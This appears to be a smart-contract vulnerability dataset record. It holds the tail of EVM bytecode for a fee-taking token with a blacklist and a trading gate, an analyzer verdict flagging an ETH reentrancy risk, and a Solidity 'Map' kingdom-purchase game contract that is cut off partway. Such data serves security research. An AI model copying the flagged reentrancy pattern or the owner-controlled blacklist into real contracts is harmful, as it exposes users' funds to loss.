fffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000682423dbc92e6cae240090506129a6682423dbc92e6cae240060065461267690919063ffffffff16565b8210156129c557600654682423dbc92e6cae24009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206f0fe5e604fc1d174b7eb6dd4a9e59698c0be848207f5f2e9a8f45cbad150d1864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,839 |
0x415f306a0628d35183f42d0607cd03fcb71d1e1f
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function resetTimer(string _kingdomKey);
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract ReentrancyGuard {
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
contract Map is PullPayment, Destructible, ReentrancyGuard {
using SafeMath for uint256;
// STRUCTS
struct Transaction {
string kingdomKey;
address compensationAddress;
uint buyingPrice;
uint compensation;
uint jackpotContribution;
uint date;
}
struct Kingdom {
string title;
string key;
uint kingdomTier;
uint kingdomType;
uint minimumPrice;
uint lastTransaction;
uint transactionCount;
uint returnPrice;
address owner;
bool locked;
}
struct Jackpot {
address winner;
uint balance;
}
// struct RoundPoints {
// mapping(address => uint) points;
// }
struct Round {
Jackpot jackpot1;
Jackpot jackpot2;
Jackpot jackpot3;
Jackpot jackpot4;
Jackpot jackpot5;
mapping(string => bool) kingdomsCreated;
mapping(address => uint) nbKingdoms;
mapping(address => uint) nbTransactions;
mapping(address => uint) nbKingdomsType1;
mapping(address => uint) nbKingdomsType2;
mapping(address => uint) nbKingdomsType3;
mapping(address => uint) nbKingdomsType4;
mapping(address => uint) nbKingdomsType5;
uint startTime;
uint endTime;
mapping(string => uint) kingdomsKeys;
mapping(address => uint) scores;
}
Kingdom[] public kingdoms;
Transaction[] public kingdomTransactions;
uint public currentRound;
address public bookerAddress;
mapping(uint => Round) rounds;
mapping(address => uint) lastTransaction;
uint constant public ACTION_TAX = 0.02 ether;
uint constant public STARTING_CLAIM_PRICE_WEI = 0.03 ether;
uint constant MAXIMUM_CLAIM_PRICE_WEI = 800 ether;
uint constant KINGDOM_MULTIPLIER = 20;
uint constant TEAM_COMMISSION_RATIO = 10;
uint constant JACKPOT_COMMISSION_RATIO = 10;
// MODIFIERS
modifier checkKingdomCap(address _owner, uint _kingdomType) {
if (_kingdomType == 1) {
require((rounds[currentRound].nbKingdomsType1[_owner] + 1) < 9);
} else if (_kingdomType == 2) {
require((rounds[currentRound].nbKingdomsType2[_owner] + 1) < 9);
} else if (_kingdomType == 3) {
require((rounds[currentRound].nbKingdomsType3[_owner] + 1) < 9);
} else if (_kingdomType == 4) {
require((rounds[currentRound].nbKingdomsType4[_owner] + 1) < 9);
} else if (_kingdomType == 5) {
require((rounds[currentRound].nbKingdomsType5[_owner] + 1) < 9);
}
_;
}
modifier onlyForRemainingKingdoms() {
uint remainingKingdoms = getRemainingKingdoms();
require(remainingKingdoms > kingdoms.length);
_;
}
modifier checkKingdomExistence(string key) {
require(rounds[currentRound].kingdomsCreated[key] == true);
_;
}
modifier checkIsNotLocked(string kingdomKey) {
require(kingdoms[rounds[currentRound].kingdomsKeys[kingdomKey]].locked != true);
_;
}
modifier checkIsClosed() {
require(now >= rounds[currentRound].endTime);
_;
}
modifier onlyKingdomOwner(string _key, address _sender) {
require (kingdoms[rounds[currentRound].kingdomsKeys[_key]].owner == _sender);
_;
}
// ERC20
address public woodAddress;
ERC20Basic woodInterface;
// ERC20Basic rock;
// ERC20Basic
// EVENTS
event LandCreatedEvent(string kingdomKey, address monarchAddress);
event LandPurchasedEvent(string kingdomKey, address monarchAddress);
//
// CONTRACT CONSTRUCTOR
//
function Map(address _bookerAddress, address _woodAddress, uint _startTime, uint _endTime) {
bookerAddress = _bookerAddress;
woodAddress = _woodAddress;
woodInterface = ERC20Basic(_woodAddress);
currentRound = 1;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].jackpot1 = Jackpot(address(0), 0);
rounds[currentRound].jackpot2 = Jackpot(address(0), 0);
rounds[currentRound].jackpot3 = Jackpot(address(0), 0);
rounds[currentRound].jackpot4 = Jackpot(address(0), 0);
rounds[currentRound].jackpot5 = Jackpot(address(0), 0);
rounds[currentRound].startTime = _startTime;
rounds[currentRound].endTime = _endTime;
}
function () { }
function setWoodAddress (address _woodAddress) public onlyOwner {
woodAddress = _woodAddress;
woodInterface = ERC20Basic(_woodAddress);
}
function getRemainingKingdoms() public view returns (uint nb) {
for (uint i = 1; i < 8; i++) {
if (now < rounds[currentRound].startTime + (i * 12 hours)) {
uint result = (10 * i);
if (result > 100) {
return 100;
} else {
return result;
}
}
}
}
//
// This is the main function. It is called to buy a kingdom
//
function purchaseKingdom(string _key, string _title, bool _locked) public
payable
nonReentrant()
checkKingdomExistence(_key)
checkIsNotLocked(_key)
{
require(now < rounds[currentRound].endTime);
Round storage round = rounds[currentRound];
uint kingdomId = round.kingdomsKeys[_key];
Kingdom storage kingdom = kingdoms[kingdomId];
require((kingdom.kingdomTier + 1) < 6);
uint requiredPrice = kingdom.minimumPrice;
if (_locked == true) {
requiredPrice = requiredPrice.add(ACTION_TAX);
}
require (msg.value >= requiredPrice);
uint jackpotCommission = (msg.value).sub(kingdom.returnPrice);
if (kingdom.returnPrice > 0) {
round.nbKingdoms[kingdom.owner]--;
if (kingdom.kingdomType == 1) {
round.nbKingdomsType1[kingdom.owner]--;
} else if (kingdom.kingdomType == 2) {
round.nbKingdomsType2[kingdom.owner]--;
} else if (kingdom.kingdomType == 3) {
round.nbKingdomsType3[kingdom.owner]--;
} else if (kingdom.kingdomType == 4) {
round.nbKingdomsType4[kingdom.owner]--;
} else if (kingdom.kingdomType == 5) {
round.nbKingdomsType5[kingdom.owner]--;
}
compensateLatestMonarch(kingdom.lastTransaction, kingdom.returnPrice);
}
// woodInterface.resetTimer(_key);
kingdom.kingdomTier++;
kingdom.title = _title;
if (kingdom.kingdomTier == 5) {
kingdom.returnPrice = 0;
kingdom.minimumPrice = 5 ether;
} else if (kingdom.kingdomTier == 2) {
kingdom.returnPrice = 0.1125 ether;
kingdom.minimumPrice = 0.27 ether;
} else if (kingdom.kingdomTier == 3) {
kingdom.returnPrice = 0.3375 ether;
kingdom.minimumPrice = 0.81 ether;
} else if (kingdom.kingdomTier == 4) {
kingdom.returnPrice = 1.0125 ether;
kingdom.minimumPrice = 2.43 ether;
}
kingdom.owner = msg.sender;
kingdom.locked = _locked;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotCommission, now)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdom.transactionCount++;
kingdom.lastTransaction = transactionId;
lastTransaction[msg.sender] = now;
setNewJackpot(kingdom.kingdomType, jackpotCommission, msg.sender);
LandPurchasedEvent(_key, msg.sender);
}
function setNewJackpot(uint kingdomType, uint jackpotSplitted, address sender) internal {
rounds[currentRound].nbTransactions[sender]++;
rounds[currentRound].nbKingdoms[sender]++;
if (kingdomType == 1) {
rounds[currentRound].nbKingdomsType1[sender]++;
rounds[currentRound].jackpot1.balance = rounds[currentRound].jackpot1.balance.add(jackpotSplitted);
} else if (kingdomType == 2) {
rounds[currentRound].nbKingdomsType2[sender]++;
rounds[currentRound].jackpot2.balance = rounds[currentRound].jackpot2.balance.add(jackpotSplitted);
} else if (kingdomType == 3) {
rounds[currentRound].nbKingdomsType3[sender]++;
rounds[currentRound].jackpot3.balance = rounds[currentRound].jackpot3.balance.add(jackpotSplitted);
} else if (kingdomType == 4) {
rounds[currentRound].nbKingdomsType4[sender]++;
rounds[currentRound].jackpot4.balance = rounds[currentRound].jackpot4.balance.add(jackpotSplitted);
} else if (kingdomType == 5) {
rounds[currentRound].nbKingdomsType5[sender]++;
rounds[currentRound].jackpot5.balance = rounds[currentRound].jackpot5.balance.add(jackpotSplitted);
}
}
function setLock(string _key, bool _locked) public payable checkKingdomExistence(_key) onlyKingdomOwner(_key, msg.sender) {
if (_locked == true) { require(msg.value >= ACTION_TAX); }
kingdoms[rounds[currentRound].kingdomsKeys[_key]].locked = _locked;
if (msg.value > 0) { asyncSend(bookerAddress, msg.value); }
}
function giveKingdom(address owner, string _key, string _title, uint _type) onlyOwner() public {
require(_type > 0);
require(_type < 6);
require(rounds[currentRound].kingdomsCreated[_key] == false);
uint kingdomId = kingdoms.push(Kingdom("", "", 1, _type, 0, 0, 1, 0.02 ether, address(0), false)) - 1;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = owner;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = 0.03 ether;
kingdoms[kingdomId].locked = false;
rounds[currentRound].kingdomsKeys[_key] = kingdomId;
rounds[currentRound].kingdomsCreated[_key] = true;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, 0.01 ether, 0, 0, now)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
}
//
// User can call this function to generate new kingdoms (within the limits of available land)
//
function createKingdom(string _key, string _title, uint _type, bool _locked) checkKingdomCap(msg.sender, _type) onlyForRemainingKingdoms() public payable {
require(now < rounds[currentRound].endTime);
require(_type > 0);
require(_type < 6);
uint basePrice = STARTING_CLAIM_PRICE_WEI;
uint requiredPrice = basePrice;
if (_locked == true) { requiredPrice = requiredPrice.add(ACTION_TAX); }
require(msg.value >= requiredPrice);
Round storage round = rounds[currentRound];
require(round.kingdomsCreated[_key] == false);
uint refundPrice = 0.0375 ether; // (STARTING_CLAIM_PRICE_WEI.mul(125)).div(100);
uint nextMinimumPrice = 0.09 ether; // STARTING_CLAIM_PRICE_WEI.add(STARTING_CLAIM_PRICE_WEI.mul(2));
